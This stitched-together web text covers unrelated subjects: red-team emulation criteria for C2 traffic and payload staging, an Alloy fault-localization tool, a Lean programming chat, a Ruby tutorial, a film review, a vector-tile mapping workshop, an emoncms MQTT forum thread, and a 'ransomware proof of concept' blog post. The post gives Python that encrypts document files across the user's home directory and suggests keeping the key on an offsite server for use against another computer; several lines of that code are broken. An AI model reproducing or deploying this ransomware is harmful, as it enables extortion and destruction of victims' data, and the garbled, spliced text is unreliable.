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about a decade ago. Ignore the copyright notices and the near-useless
copy protection; as the successor-in-interest I'm placing them under the
GPL and will probably get around to updating the sources eventually. The
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Used HTTPS to transport C2 (<IP_ADDRESS>) traffic
Criteria
Evidence that the network data sent over the C2 channel is HTTPS
Procedure
Used HTTPS to encrypt C2 (<IP_ADDRESS>) traffic
Criteria
Evidence that the network data sent over the C2 channel is encrypted
Procedure
Copied python.exe payload from a WebDAV share (<IP_ADDRESS>) to remote host Scranton (<IP_ADDRESS>)
Criteria
The file python.exe created on Scranton (<IP_ADDRESS>)
Procedure
Used HTTPS to transport C2 (<IP_ADDRESS>) traffic
Criteria
Established network channel over the HTTPS protocol
Procedure
Used HTTPS to encrypt C2 (<IP_ADDRESS>) traffic
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Evidence that the network data sent over the C2 channel is encrypted
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Procedure
Cobalt Strike: C2 channel established using DNS traffic to freegoogleadsenseinfo.com
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Empire: C2 channel established using HTTPS traffic to freegoogleadsenseinfo.com
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AlloyFL considers a fault model to be one in which at least one AUnit test case fails. An AUnit test case is a pair (valuation, command) where:
     A valuation is: an assignment of values to the sets and relations of the model.
     A command is: any valid Alloy command over the model.
More information about defining AUnit test cases can be found in the AUnit tutorial.
Our fault localization techniques applies a combination of coverage-based and mutation-based fault localization. The weight applied to one versus the other is set by the user. Given an AST node, AlloyFL computes a score Scoverage and score Smutation. AlloyFL computes the weighted sum. If no mutation applies to a node, AlloyFL uses score Scoverage. The intuition is that mutation-based fault localization sometimes performs badly for omission errors in which case coverage-based fault localization performs relatively well. Thus, AlloyFL benefitsfrom both coverage-based and mutation-based fault localization.
AlloyFL supports the following suspiciousness formula:
1. Tarantula (J. A. Jones and M. J. Harrold. Empirical evaluation ofthe tarantula automatic fault-localization technique. InASE, 2005.)
2. Ochiai (R. Abreu, P. Zoeteweij, R. Golsteijn, and A. J. C. vanGemund. A practical evaluation of spectrum-based faultlocalization.JSS, 2009.)
3. Op2 (L. Naish, H. J. Lee, and K. Ramamohanarao. A modelfor spectra-based software diagnosis.TSE, 2011.)
4. Barinel (R. Abreu, P. Zoeteweij, and A. J. Van Gemund.Spectrum-based multiple fault localization. InASE, 2009.)
5. DStar (W. E. Wong, V. Debroy, R. Gao, and Y. Li. The DStarmethod for effective software fault localization.IEEETransactions on Reliability, 2014.)
Suspiciousness formulas assign a suspiciousness score to each AST node in the Alloy model. AlloyFL will present a ranked list of AST nodes to the user from most to least suspicious.
Since Alloy does not have control-flow and execution traces, for a given test, every code element in the same paragraph will be either executed together or not executed at all. This means nodes declared in the same paragraph share the same suspiciousness score. Our coverage-based fault localization uses a static analyzer which analyzes the entire AST and binds a variable usage a predicate/function call to its signature or predicate/function declaration, respectively. The static analyzer is able to find all Alloy paragraphs transitively used by a test, but it ignores dependencies that are never used. Our coverage-based fault localization computes a suspiciousness score for each Alloy paragraph based on the number of passing/failing tests that cover it and a formulalisted above. Finally, all paragraphs are ranked in descending order of suspiciousness score. In case of a tie, we prioritize the paragraph with a smaller number of AST nodes.
Mutation-based fault localization starts by mutating the original Alloy model. The suspiciousness score is tied to whichever AST node in the original model is mutated. Specifically, AlloyFL iterates over each node n in the original model (M). If n is not covered by any failing test, then AlloyFL skips it. For each n covered by a failing test, AlloyFL tries to apply every mutation operator to the node, one at a time. If the mutation operator is not applicable, it is skipped. Otherwise, AlloyFL mutates M to M’. If M’ leads to a compilation error or is equivalent to M, then AlloyFL skips M’. Otherwise, AlloyFL runs that test suite against the mutant M’and computes the suspiciousness score of the mutant based on the formula selcted by the user.
Note: Details about mutation testing in Alloy can be found here: https://github.com/kaiyuanw/MuAlloy


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updated_on
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name
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version
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file_count
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updated_on
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compliant
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description
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intro
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name
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non_compliant
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types
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@Sebastian Ullrich woke up with a lot of homework... Does anyone knows whether basic users like me will see any difference after merging this?
Are you referring to the commits in his own fork?
To avoid ambiguity and for posterity: https://github.com/leanprover/lean/pull/1881
Thanks @Sean Leather
woke up with a lot of homework... Does anyone knows whether basic users like me will see any difference after merging this?
@Patrick Massot: I'm guessing you're referring to Leo's comments, of which there were a lot.
Yes.
There are a lot of comments but there is a lot of code in this PR.
I'm also curious about this. @Sebastian Ullrich , could you maybe discuss or point to a place where you discuss the purpose of the monad refactoring project? From what little I can garner from Leo's comments, it looks like you are maybe adding more advanced monad features from Haskell like monad transformers, the continuation monad and call/cc?
I think you'll see a difference (hopefully for the best) if you use Lean to write programs. Otherwise, I don't think you'll see a difference
It's very hard to resist going to Leo's most cryptic comment and add: "Yeah, I wondered about that too".
What do you mean "write program"? Write a tactic?
I think not much if you write tactics. More if you use Lean as a functional programming language (with or without much verification)
Are there people doing that?
As in I/O?! :scream:
On top of my head, there's me
I/O or other kind of code. There's a lot you can do with monads
Why do you seem so scared of I/O?
Doesn't sound functional to me
I meant, as in writing a “real” program that does I/O, not as in using the io
monad... :wink:
Doesn't sound functional to me
Why not?
Why do you seem so scared of I/O?
Because of the meme that theorem-proving languages are generally only used for proofs and type-checking.
Doesn't sound functional to me
Why not?
Every article I read about functional programming makes a huge fuss about i/o. That's probably what he means. In contrast to procedural languages, where the first program you ever see is "print hello world"
I thought functional programming swears to be isolated from real world
I thought functional programming swears to be isolated from real world
That's a myth and a well-disproven one at that.
That was true of Haskell before they invented monads but the io
monad makes I/O into a perfectly ok part of pure functional programming.
Some people write OSs and web servers using purely functional programming. It looks pretty real to me and their users :)
It's funny how, as you climb up the ladder of high-level programming languages, each level above seems to be less useful than the level you're on, at least until you understand it.
What's funny is right now I'm staring at my NodeJS I/O code which doesn't work. I don't know why it insisted trying to read all 29668 files in this directory before starting to work on the first one (and then FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory)
Yeah! And as I climb up, I get nervous about climbing down. Everything makes sense up here!
Yes, you can get complacent with all of the protection you have.
I love functional programming languages guys. They are brothers to mathematicians. We also think what we do is more powerful and more beautiful than what other do. And normal people think what we do is un-understandable and useless
I have a friend whom i'm mentoring with Haskell. He works with JavaScript. He's more courageous than me. I don't think I'd want to go back to object oriented programming ... unless it was generated from afull functional specification
And we're also insufferable when coming in contact with other communities
In my case the trouble is not object oriented programming, it's asynchronicity
"You're getting into trouble because your pointers are aliasing each other? How quaint!"
Aliased pointers in JavaScript? :confused:
Object oriented programming is supposed to be a solution (some might disagree cough cough) but asynchronicity is an actual programming challenge ... at the center of my research as it happens
Aliased pointers in JavaScript? :confused:
References to objects, etc. I'm fairly sure they don't have a complete value semantics
It's fun here but I need to take a shower, see you
Alright! Let's be insufferable later! :grin:
I'll leave this link as a hint to our motivation... :P https://github.com/Kha/syntax/blob/master/macro.lean#L5
Hi @Sebastian Ullrich , is there some explanation I can read of what you did to bind
?
@Scott Morrison Does the test file help? https://github.com/leanprover/lean/blob/master/tests/lean/run/rebind_bind.lean
There are lots of places mathlib has broken, e.g.
theorem length_bind (l : list α) (f : α → list β) : length (bind l f) = sum (map (length ∘ f) l)
Where is says
type mismatch at application l >>= f term f has type α → list β : Type (max u v) but is expected to have type α → list ?m_1 : Type u
Ah, list.bind
is protected
now, as it should have been from the beginning
So it should use ...?
You can replace bind
with list.bind
thanks
But I would argue that we should usually prefer using the generic operations (i.e. bind
/>>=
here) even if it means that alpha and beta have to live in the same universe in this case
@Mario Carneiro thoughts?
The other place I'm seeing trouble from the monad refactoring is in mathlib's data/encodable.lean
.
where it looks like the problem is that there are too many bind
s available
and the do
notation is now failing as a result.
I guess option.bind
should be protected as well? Gaah.
The "named" bind is there in part exactly for this universe distinguishing thing. There are times when it matters, and you need the polymorphic version. For most of these operations, there is also a symbol name for them, which is preferred when universes don't matter or you are over a known structure.
Yah, it's the curse of the monad. I'll mark option.bind
as protected then.
I took the liberty of commenting on your pull request. Is this the best way to interact on this subject or should I stick to Zulip / Gitter?
That's fine, I just didn't get to it yet
No worries. I just don't want to be intrusive by commenting directly on github
I'm happy for any feedback by experienced Haskell programmers, since neither Leo nor me is one of them
Excellent then :) I'll keep them coming. In passing, I am truly amazed by the language that you guys came up with. Learning Haskell was like a religious conversion for me and it ended a three year programming hiatus. Lean is comparing really well
Thank you :smile:
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Ruby Classes
11/8/14
What are classes?
Classes in Ruby are created as first class objects where they are instances of the class Class. A class is usually defined by type class CLASS_NAME_HERE ( additional methods here ) end. Let's try it in IRB.
Here's what's happening in the picture above.
1) Class called New_Class is created.
2) Inside New_Class, an instance method called hello is created.
3) Inside the hello instance method, a greeting will be displayed when the method is called.
4) The variable, test, is set equal to the class, New_class. This creates test as an object of New_Class.
5) I can now call the Hello method within the New_Class class which will puts a friendly greeting into the prompt!
Here's another handy dandy picture of class hierarchy all thanks to Nick Morgan.
Instance Variables
Instance variables are extremely awesome. These variables are easily recognized because they have a @ before the name of the variable. For example, @test is an instance variable! An instance variable differs from your standard variables because it can be accessed across methods within your class hierarchy. Say you needed a value stored in the variable in the initialize method of the class. Just make it an instance variable. It might be easier to see it than to imagine it. Check it out in IRB.
1. New_Class has been created.
2. Method hello is defined with 2 arguments, name and day.
3. Instance Variable @name is set equal to the input argument name.
4. Method will puts string with instance variable @name and input argument, day.
5. Method test is defined with no arguments.
6. Method will puts whatever is in instance variable @name from hello method. Also, method will puts variable day.
7. Test_case is now set equal to New_Class and initialized.
8. Calling the method hello on the new object test_case and passing the arguments William and Monday, the method outputs the string to the prompt. It works as expected.
9. Test method is called on object test_case.
10. Instance Variable @name is called and outputs William from the previous method as expected.
11. Method tries to output the variable day, there is an error.
12. Day was not made an instance variable so it is treated as an local variable.
In this case, local variable day was NEVER defined in THIS method. Interesitng huh?


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Susan Granger's review of "THE GIFT" (Paramount Classics)
Written by Billy Bob Thornton and Tom Epperson, this gothic Southern mystery revolves around a single, widowed mom (Cate Blanchett) in Brixton, Georgia, who "reads" cards, using her genetically-inherited psychic insight to help her emotionally needy friends and neighbors.  "You've got to get legal help," Cate counsels her.  That's where Cate meets the principal (Greg Kinnear) and his sexy, socialite fiance (Katie Holmes) who is curious about Cate's psychic gift. "I'm not a fortune-teller," Cate protests. But when the spiteful, duplicitous Katie mysteriously disappears, it's Cate's telepathic "visions" that help the skeptical police track down the culprit. Intuitive director Sam Raimi ("The Evil Dead," "Darkman"), a master of spine-tingling, supernatural horror, uses surreal imagery and disconcerting camerawork to augment the psychological terror. Cate Blanchett delivers a subtle, nuanced performance, where guilt about not being able to "forecast" her own husband's death lurks below the surface. Keanu Reeves takes a real chance as a cruel, redneck type and pulls it off creditably. On the Granger Movie Gauge of 1 to 10, "The Gift" is a chilling, haunting 7. "I see things and I sense things," says Cate. Problem is: I sensed whodunit far too soon.
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Ransomware Proof of concept
Ransomware Concept
The basic of ransomware is it encrypts a specified target file extension using with a key that the attacker had setup on a server somewhere to be used later for later decyption process. There are different programming languges you can use for this but the easiest and fastest way to provide a proof of concept is with python. You can check my code repo here run-some-crypt.
Content
- generate a key to be used for encryption and decryption
- write a key file
- read a key file
- scanning directory
- encypt the target files
- create cli interface
generate a key to be used for encryption and decryption
Let’s begin by importing the OS module since we can use its functions for interactions with the OS, for encryption we can import the Fernet(Semantic Encrytion) Module.
1 import os
2 from os.path import expanduser
3 from cryptography.fernet import Fernet
create a class and constructor, below that is the generateKey function
5 class Encrypt:
6
7 def __init__(self):
8
9 self.key = None
10 self.cryptor = None
11 self.file_ext_targets = ['pdf','doc','docx','ppt','pptx','txt']
12
13 def generateKey(self):
14
15 self.key = Fernet.generate_key()
16 self.cryptor = Fernet(self.key)
write a key file
now lets create a function to write the key to a file
23 def writeKey(self, key_filename):
24 with open.(key_filename, 'b') as f:
25 f.write(self.key)
read a key file
moving on, create a function to read a key from a file
18 def readKey(self, key_filename):
19 with open(key_filename, 'a') as f:
20 self.key = f.read()
21 self.cryptor = Fernet(self.key)
scanning directory
the function below allows you to scan the directories and check for target filename extensions specified earlier on self.file_ext_targets
28 def mainCrypt(self, root_dir, encrypted = False):
29 for root, _, files in os.walk(root_dir):
30 for f in files:
31 abs_file_path = os.path.join(root, f)
32
33 if not abs_file_path('.')[-1] in self.file_ext_targets:
34 continue
35
36 self.crypt_file(abs_file_path, encrypted = encrypted)
encrypt the target files
function to encrypt the specified filename extensions and check if that file has been encrypted or not
38 def encryptFile(self, file_path, encrypted = False):
39 with open(file_path, 'a+') as f:
40 _data = f.read()
41
42 if not encrypted:
43 data = self.cryptor.encrypt(_data)
44 else
45 data = self.cryptor.decrypt(_data)
46
47 f.seek(0)
48 f.write(data)
create a cli interface
how it works is that you call the class we created earlier and create a conditional statement where you can specify and action you want to take e.g. encrypt or decrypt files.
51 if __name__ == '__main__':
52 #all directory
53 sys_root = expanduser('~')
54
55 #specific target directory
56 #local_root= '.'
57
58 import argparse
59 parser = argparse.ArgumentParser()
60 parser.add_argument('--action', required=True)
61 parser.add_argument('--keyfile')
62
63
64 args = parser.parse_args()
65 action = args.action.lower()
66 keyfile = args.keyfile
67
68 lock = Encrypt()
69
70 if action == 'decrypt':
71 if keyfile is None:
72 print('Specify path to keyfile after --keyfile')
73 else:
74 lock.read_key(keyfile)
75 lock.mainCrypt(local_root, encrypted=True)
76 elif action == 'encrypt':
77 lock.generate_key()
78 lock.write_key('keyfile')
79 lock.mainCrypt(sys_root)
Conclusion
After that typing, you’re set and done. If you are planning to use this to another computer, you can create an executable file to run this code set an offsite server to host and store the keyfile for later use. Another use case for this is to make a secure encrypted files inside your flash drive or hard drive, as long as you have the keyfile or know the key you’re the only one who can open those files. It’s not a matter of if but when the quantum computers will comes to age, privacy and secuity through encryption might disappear.
$ python3 crypt.py --action encrypt
$ python3 crypt.py --action decrypt --keyfile /path/keyfile
Happy Hunting.


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A base class with no predefined methods that tries to behave like Builder‘s BlankSlate in Ruby 1.9. In Ruby pre-1.9, this is actually the Builder::BlankSlate class.
Ruby 1.9 introduces BasicObject which differs slightly from Builder‘s BlankSlate that has been used so far. ActiveSupport::BasicObject provides a barebones base class that emulates Builder::BlankSlate while still relying on Ruby 1.9‘s BasicObject in Ruby 1.9.
Required Files
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Practice
Here is the area where you can practice answering all of the situations and questions that will be asked of you in each game mode. To review, the modes of gameplay include:
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Web Cartographer & Geo ICT developer
Maptime Amsterdam & Utrecht
Internship Geo Web Visualization
Msc Geo Information Science & Remote Sensing
Time for making maps!
Maptime is hands on!
This presentation
All materials needed:
https://github.com/maptime-ams/vector-tiles-workshopAt the end of this workshop, you will have your own web page with an vector-tile based map! Customized to your liking and creativity! Your web page will be hosted on Github, so you can immediately share your progress with all your family and friends!
Let's start from the beginning
Analogue paper maps
| Digital maps | VS | Web Maps |
|---|---|---|
| Data | Tiles, styles and servers | |
| On the computer | View in a browser | |
| Calculate, analyze | scroll, pan, zoom |
Digital maps
GIS software
GIS on the Web is not user friendly..
1996 Mapquest first with a web service!
But really slow to load..
in 2004 Endoxon found a way for quick online mapping! map.search.ch
2005 Google Maps took over!
The solution?
All tiles size 256x256 pixels
Placed in a grid, sharing boundaries
Seamless map
All these little tiles load way faster than one big map!
We call this slippy maps
Each zoom level has its own set of tiles!
Zoom level 0: 1 tile for the whole world.
Increases exponentially...
Zoom level 1: 4 tiles
Zoom level 2: 16 tiles
etc.
Tiles are rendered in advance.
Stored in a cache.
Tiles are just images on the web with a url
http://tile.openstreetmap.org/5/16/10.png http://tile.openstreetmap.org/17/67320/43073.png{z/x/y}
Data, styled, tiles, server:
Base Layer
Additional Data:
Layers
Interface and Interaction
Zoom, panning, clicking etc.
Start with Making a web page
Or use Code Academy
Rendering is done on client side not by the server!
So different clients can style a map different!
Small tile size! So faster data transfer.
High resolution!
Access to feature information!
No colors
Arrays in a 256 x 256 matrix
Same tiling schema as Raster png tiles.
Binary format
Simplifies geometries
Based on the binary protocol buffer (.pbf) from Google.
Standard already used by Esri.
Web Mercator projection, Google tiling scheme.
.mvt - .pbf
.mbtiles
Make with Mapbox Studio
Mapzen
https://tile.mapzen.com/mapzen/vector/v1/{layers}/{z}/{x}/{y}.{format}
https://openmaptiles.com/hosting/
Licenses..
Use locally offline
Tile servers
NL Amsterdam Datalab.
"https://t1.data.amsterdam.nl/wm/{z}/{x}/{y}.pbf"
Mapbox studio
JavaScript
Feel free to contact me!
<EMAIL_ADDRESS>Everything is on Github
Used for code.
Version control.
Sharing.
Documentation.
Full code example a map with the Mapbox GL JS library
a testendpoint where to find some tiles
a standard style for you to edit
How to make your own vector tiles
How to download OSM vector tiles
MapboxGL JS
//Initialize Map
var map = new mapboxgl.Map({
container: "map",
hash: true,
style: style_object,
zoom: 11,
pitch: 60,
bearing: 62.4,
center: [ 4.8, 52.4]
});
Use the INTERNET!
Use the MapboxGL JS documentation!
StackOverflow is awesome!
Ask me
There is more to find on the Internet
Do not keep yourself to the assignments!!
The workshop:
https://github.com/maptime-ams/vector-tiles-workshop/wikiThe materials needed:
https://github.com/maptime-ams/vector-tiles-workshopUse the world tiles
Amsterdam tiles contain Dutch words!!
Open Map tile for world map explained bottom section, then scroll up again for the explanations.
Go to https://openmaptiles.com/hosting/ and generate your own free key.


Hi
I just noticed publish to MQTT in the input configuration. Where and how do you set up the mqtt broker URL and are the topic names fixed or can you set them up?
Regards
Ian
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Publish to MQTT - how do you set it up? [Solved]Submitted by Ian Eagland on Sun, 24/05/2015 - 07:31Hi I just noticed publish to MQTT in the input configuration. Where and how do you set up the mqtt broker URL and are the topic names fixed or can you set them up? Regards Ian » |
Re: Publish to MQTT - how do you set it up? [Solved]
There is some information about it in this thread. which may help
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
Thanks Paul,
I don't use emonhub because my set up is multiple nanodeRFs and a local Pi server without the RFM because my sensors are in remote locations sending data over the internet.
Can version 8.5 be used in that situation as all the reference seem to suggest it is for emonhub only? The ultimate for me would be to also post into node-red and a mosquitto broker I have running on a seperate Pi on the same local network as the emoncms server.
I am slowly building in remote control at the remote sites and as a non programmer node red seems the obvious way to go. l am using thingstudio (http://www.thingstud.io ) as the control interface to node red.
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
It's my understanding that the oem version of Emonhub is a necessity, to feed the data to one of the emoncms modules, in order for it to work.
I'm also using node-red for the same purpose.
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
I thought the "publish to mqtt" process was previously working in v8.4 (I didn't use it so cannot confirm) this section of the "MQTT and node-red for emonHub" discussion suggests it was.
It relies on the phpmqtt_input.php script running in the background and $mqtt_enabled = True, being set in settings.php in emoncms.
The mqtt server settings appear to be hard coded in the script which is located in the emoncms/scripts folder.
Then just run
sudo php phpmqtt_input.php&
Or to run the script automatically at start up you need to create an init script or just add the run command to the end of the /etc/rc.local file.
Then it should just be a case of just defining the "publish to" topic in each "publish to mqtt" process for the values you wish to publish.
I've not tested any of this but that's how I understood things. I pretty sure this will clash with v8.5 which does work more closely with the "emonpi" variant of emonhub for mqtt.
Let us know how you get on if you do try it.
As for using emonhub across multiple sire via a SocketInterfacer it should be built into the next version of emonHub as I have it working in an experimental version already, if you wanted to "hack" the current emonhub it wouldn't be too difficult to add a quick "discard if apikey doesn't match" check one-liner to get get you up and running for now.
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
Hi Paul (pb66)
Followed instructions. The only slight change is I had to run sudo php phpmqtt_input.php& from the script folder or I got an error about not finding a file.
Went to Mosquitto log and saw nothing about emoncms topics. Went back to where I started phpmqtt_input.php and found this error continuously scrolling.
Warning: fread() expects parameter 1 to be resource, boolean given in /var/www/emoncms/Lib/phpMQTT.php on line 160
PHP Warning: feof() expects parameter 1 to be resource, boolean given in /var/www/emoncms/Lib/phpMQTT.php on line 159
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
You're right, the command does need a path, sorry 'bout that, it should be (assuming default install locations)
sudo php /var/www/emoncms/scripts/phpmqtt_input.php&
As for the errors, and I'm guessing here as both mqtt and php are out of my comfort zone, might suggest there is no connection with the mqtt server.
You will probably be better off dropping the ambersand from the end of the command line until you have it running ok as that just causes the script to run in the background so you can log-off or close the ssh window etc and the script continues, but that also means there is no screen updates.
Are you already using mqtt on that server? you may need to allow that port in the UFW firewall if you use a fixed LAN IP rather than 'locahost'
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
Hi Paul
Running without ampersand seems to take me a bit closer. Emoncms window shows:-
Subscribing to: rx/#
and the emoncms connection shows up in the mosquitto log. Unfortunately it then disconnects with a timeout error.
I have seen this with other mqtt clients and it is usually set up being wrong in some way e.g no client_ID being posted to broker. (It seems to take 2 days per incident to track this kind of thing. At the moment I go forward 2 days and back 1.9 days in my mqtt adventure. I have even managed to find some errors in the latest mosquitto packages that only effect me I guess because I know so little about linux and other users work out what is wrong and fix the issue without thinking and then don't report the issue.)
I am chary of trying emonHub with a hack as your other suggestion as I don't want to mess up my running system unless there is a way I can do this and revert back if I hit problems.
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
Hi Ian
I totally get what you say about making progress It is definitely an up hill struggle.
The bluerhino phpMQTT module doesn't seem to have changed much beyond extending the auto-reconnect, Have you tried connecting to another broker to see if the issue is client or sever related?
I don't think the emonHub hack would be too difficult to implement or change back but I'm not sure it helps with the mqtt, as it would simply move things around but MQTT would still need implemented somewhere if thats the way you're going. My comment was directed specifically at the "unable to use socket inputs remotely" aspect.
Also just found this https://github.com/emoncms/emoncms/blob/master/scripts/multiuser.md it says this needs adding below line 107, but i'm not sure which file or if the line number has altered
There are also a couple of standalone examples that may help diagnosis.
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
Over the weekend I took another look at this and read all the posts I could find relating to mqtt.
I also updated and upgraded all the Pi software as I have not done that for a while. The result of all this is that I believe phpmqtt_input.php is now running correctly. Starting with the ampersand I get this on the emoncms server:-
pi@StudioPiServer ~ $ sudo php /var/www/emoncms/scripts/phpmqtt_input.php&
[1] 3946
pi@StudioPiServer ~ $ Subscribing to: emoncms/#
In the mosquitto log I see frequent:-
1432627234: Received PINGREQ from Emoncms input subscriber
1432627234: Sending PINGRESP to Emoncms input subscriber
I tracked the earlier error I had. You get this if the broker is not available. It remains even if the broker is then started while phpmqtt_input.php is running . Emoncms mqtt does not reconnect so I guess that is something that will need looking at some time. I have to restart phpmqtt_input.php to reconnect to the broker.
The only problem I now have is that I am not seeing the input that I have set up to "Publish to mqtt" appearing at the broker. Is there anything special about the formatting? The only thing I see is the number 35 appears in the process list:-
x log 35 kwhkwhd kwhkwhd 7s ago
Any ideas as to what to try next would be appreciated. Or even confirmation that it doe/does not work with v8.4.0 not using emonHub.
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
Hi Ian.
Glad you have made progress:-)
You could try updating phpMQTT.php to tackle the first issue of not reconnecting after attempting to connect to a unavailable broker, see this commit from March, the MQTT stuff was added to emoncms back in Oct.
https://github.com/bluerhinos/phpMQTT/commit/4c397342d74b01fdbe40a9a22723ea58f66553c3
And I just did a little more digging into emoncms and found the "publish to MQTT" broker details seem to be hardcoded in a different location to the broker details for the "MQTT input subscriber".
It seems both work independently of each other and I would expect no reliance in emonhub, certainly at the time of conception that was the case but I cannot confirm for sure.
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
Hi Pau
Many thanks. There are 3 phpMQTT.php on my server:-
pi@StudioPiServer ~ $ sudo find / -name "phpMQTT.php"
/var/www/emoncms/Lib/phpMQTT.php
/var/www/emoncms/emoncms/Lib/phpMQTT.php
/var/www/emoncms/Modules/event/scripts/mqtt/phpMQTT.php
Should I replace them all?
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
Ian, how come you have a emoncms folder within emoncms?
Have you installed emoncms twice?
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
The easy answer is yes that way you won't get the wrong one, but I also wonder which one you are using and as Paul says why do you have emoncms in emoncms? I assume therefore you have 2 of every thing so are you editing the correct input processing file and the correct mqtt subscriber etc.
Try updating /var/www/emoncms/Lib/phpMQTT.php and possibly /var/www/emoncms/Modules/event/scripts/mqtt/phpMQTT.php as although ideally the events module should be using the same phpmqtt.php it won't be unless you edit the hardcoded path and that may break later if you update the events module etc
Try renaming the additional emoncms folder to see if it's being used at all before deleting.
Ideally the broker details should be in setting.php and the events module should use Lib/phpMQTT.php.
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
Hi
I have no idea how I have ended up with an emoncms folder within emoncms. I am definitely using the top version for mqtt because that is where the script file I have been changing is located and I can see the effects of my changes.
The great thing I can report is that publish to mqtt is now working following the change to process_model.php. so I have acheived my aims. However the way the emoncms mqtt client works is clearly different from all the other clients I am using. I hesitate to say it is working incorrectly because I don't have the knowledge. But I have seen some strange things in the mosquitto log all relating to emoncms. Unfortunately I can't show them as I have mosquitto logging to stdout at the moment as I have a problem with file logging on the latest mosquitto version (Which I have to use as it has websockets required by another client!). It almost looks as if there are 2 emoncms clients. At the moment I can see:-
1432647530: Received DISCONNECT from Emoncms Publisher
1432647530: Client Emoncms Publisher disconnected.
1432647534: Received PINGREQ from mqtt_beffa049.41006
1432647534: Sending PINGRESP to mqtt_beffa049.41006
1432647538: Received PINGREQ from Emoncms input subscriber
1432647538: Sending PINGRESP to Emoncms input subscriber
1432647538: Received PINGREQ from Emoncms input subscriber
1432647538: Sending PINGRESP to Emoncms input subscriber
1432647541: New connection from <IP_ADDRESS> on port 1883.
1432647541: New client connected from <IP_ADDRESS> as Emoncms Publisher (c1, k10).
1432647541: Sending CONNACK to Emoncms Publisher (0, 0)
1432647541: Received PUBLISH from Emoncms Publisher (d0, q0, r0, m0, 'rain', ... (5 bytes))
1432647541: Sending PUBLISH to mqtt_beffa049.41006 (d0, q0, r0, m0, 'rain', ... (5 bytes))
1432647541: Received DISCONNECT from Emoncms Publisher
Continually scrolling.
Note there is Emoncms Publisher and Emoncms input. It would seem that the mqtt code in emoncms needs some work. I wish I had the knowledge to do this my self but I am out of my depth with PHP.
Thanks for all the help
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
Hi
I have just taken this a bit further. I rebooted the emoncms server and immediately I was getting traffic from emoncms at the mqtt broker. So you do not need to run phpMQTT_input.php.
Therefore the probable cause of me not being able to publish to mqtt was the hard coded address in process_model.php. If this could be moved to settings.php the current code may well be good to go.
Not running phpMQTT_input.php also stops the two different clients appearing from emoncms. It does not stop the continuouse connect/disconnect from emoncms you see in the broker log. This can't be good for low overhead. All the other clients I have running just use a very occasional ping like so:-
Received PINGREQ from mqtt_2473f66c.db8c0a
Sending PINGRESP to mqtt_2473f66c.db8c0a
Any way at least I am running so now I can move on to the next objective which is remote control of irrigation based on the rain fall logged into emoncms. If any one is interested the irrigation is solar powered on a remote site with no wifi access (At the moment, our town is very proactive in providing public wifi everywhere) so I am using text messages to monitor and control the irrigation with a mobile phone shield on an arduino. With emoncms, mqtt & node-red I have the possibility of making the whole process automatic.
Again many thanks. I would not have achieved much without the support I have received.
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
The "Emoncms input subscriber" and the "Emoncms Publisher" will be independent clients the way they are currently coded as would the events module i guess, but I'm even less familiar with that so can't be sure.
If you only need to publish you can indeed not run the phpMQTT_input.php.
the way the "publish to mqtt" process works it will connect, publish and then disconnect each update.
I like the concept of the "publish to mqtt" but didn't realize the way it worked, perhaps a long timeout rather than closing the connection combined with a "connect if not connected" check on each update would work better.
I'm in the same boat with php.
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
Unfortunately I can't show them as I have mosquitto logging to stdout at the moment
Hi Ian,
Good to see you've solved your MQTT issues. Had you thought of using the Linux tee command to write the console output to a file as well as display it on the console at the same time?
Something like: <your command here> | tee -a output.file (-a = append to file)
Bill
Re: Publish to MQTT - how do you set it up? [Solved]
Hi Bill
Thanks, that works a treat. Another linux command I must remember.
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
Hi
Just to confirm that updating phpMQTT from:-
https://github.com/bluerhinos/phpMQTT/commit/4c397342d74b01fdbe40a9a2272... as suggested by Paul (pb66)
solves the problem of reconnecting and removes the error when the broker stop running described in my earlier post.
I now have mqtt data being published and received in emoncms. Received data appears in the input list with the topic name as the node name. Magic! I am impressed how this all works.
The only thing I have left to do is get phpmqtt_input.php running on Pi boot as if I run from ssh it stops running when I shut down the ssh pc.
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
Ian,
As a temporary measure (unless of course you've already solved the startup issue) you could start
phpmqtt_input.php appended with an ampersand i.e. phpmqtt_input.php &
and it'll continue to run after you close the ssh session.
Regards,
Bill
Re: Publish to MQTT - how do you set it up? [Solved]
Ian, wondered if phpmqtt_input.php could be run from within node-red itself? would this node-red node fulfill that function?
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
Hi
Bill, I did start phpmqtt_input.php with the ampersand but it still seems to stop running when I close SSH.
Paul, I am running node red and the mosquitto broker on a different Pi to emoncms. I think I did this because I was at one time having problems with routing to different ports on the same local address on the network. I have a fixed IP and all my incoming connections to mqtt and emoncms (apart from testing) are actually routed over the internet.
I am a bit cautious about putting them all on the same Pi until I have every thing setup. That would be ideal ultimately because I run my router and the emoncms server PI on a 48volt DC solar powered system for about 10 months of the year.
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
Hi Ian,
The ambersand just tells the calling script not to wait for any response from that command, effectively splintering it off to the "background" if you are using sudo php phpmqtt_input.php & it should continue running but without sudo it may terminate when the user is no longer logged in (ie when the ssh is ended).
This method will still need manually starting at each reboot unless you automate it by either the "quick and dirty" method of adding "sudo php phpmqtt_input.php &" before the "exit 0" in /etc/rc.local or the "proper" method of writing an init script. The "quick and dirty" will work but if you prefer the "proper" route there is a template included the Raspbian OS at /etc/init.d/skeleton, copy that to /etc/init.d/??? and edit the file names paths etc
Paul
PS you will also need to run sudo update-rc.d NameOfYourScript defaults to get it to start at boot, and here is a real barebones example and how to http://www.stuffaboutcode.com/2012/06/raspberry-pi-run-program-at-start-up.html
Re: Publish to MQTT - how do you set it up? [Solved]
Hi Paul
